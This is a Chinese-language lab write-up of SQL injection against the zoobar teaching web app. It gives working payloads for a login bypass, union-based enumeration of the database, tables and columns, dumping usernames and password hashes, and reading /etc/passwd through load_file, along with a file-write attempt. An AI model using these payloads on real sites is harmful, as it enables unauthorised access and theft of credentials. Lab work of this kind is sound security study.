1.简单注入:
(1)登录界面,用户名填入:' or 1=1#
(2)密码填入:' or 1=1#
(3)登录任意用户。
2.完整注入:
(1)查用户profile界面,要查找的用户填入:' and 1<>1
(2)得到错误信息:MySQL Query fail: SELECT Profile, Username, Zoobars FROM Person WHERE Username='' and 1<>1',
(3)单引号没闭合,发生错误,显示要查询的字段有3个,分别是Profile,Username,Zoobars
User处填写:' and 1=2 union select SCHEMA_NAME,2,3 from information_schema.SCHEMATA limit 4,1#
其中union select SCHEMA_NAME,2,3表示在第1个字段显示库名,我的库名是zoobar.
(5)查mysql用户权限:User处填入:test' and ord(mid(user(),1,1))=115#(test是我自己的一个用户),提示无法找到用户,如下图所示:
重新改为:test' and ord(mid(user(),1,1))=114# 显示正常,说明是root权限(可以做很多事情)
(6)暴表:
User:test' and 1=2 union select TABLE_NAME,2,3 from information_schema.TABLES where TABLE_SCHEMA ='zoobar'#,
在Profile下可以看到只有一个“Person”表,如下图所示:
(7)继续暴字段:
User填入: test' and 1=2 union select COLUMN_NAME,2,3 from information_schema.COLUMNS where TABLE_NAME ='Person'#
这里只显示了一个字段(貌似只能显示一行?),继续暴其他字段,User填入:test' and 1=2 union select COLUMN_NAME,2,3 from information_schema.COLUMNS where TABLE_NAME ='Person' limit 1,1#(第1个“1”表示显示第2条记录,第1条记录的索引是0,第二个“1”表示一共显示1条记录),得到字段Password,以此类推,再得到UserName字段,得到这两个字段就可以去暴帐号密码了。
(8)暴密码:
User填入:test' and 1=2 union select UserName,2,Password from Person limit 0,1#
结果发现只显示用户名,右击查看源码,发现密码在Class标签里面,不过是MD5加密的了
这个时候可以拿加密后的密码到破解MD5的网站去跑,密码简单的华很容易得到真实密码,到这里暴密码的过程结束。
(9)load_file 测试:
User填入:test' and 1=2 union select load_file('/etc/passwd'),2,3 #,成功显示:
当然这里大家可以去窥探更敏感的信息。
(10)测试导出文件,貌似失败了,不知道什么原因:
User处填入:test' and 1=2 union select 'fuckzoobar',2,3 into outfile '/home/fuck/Desktop/a.txt' #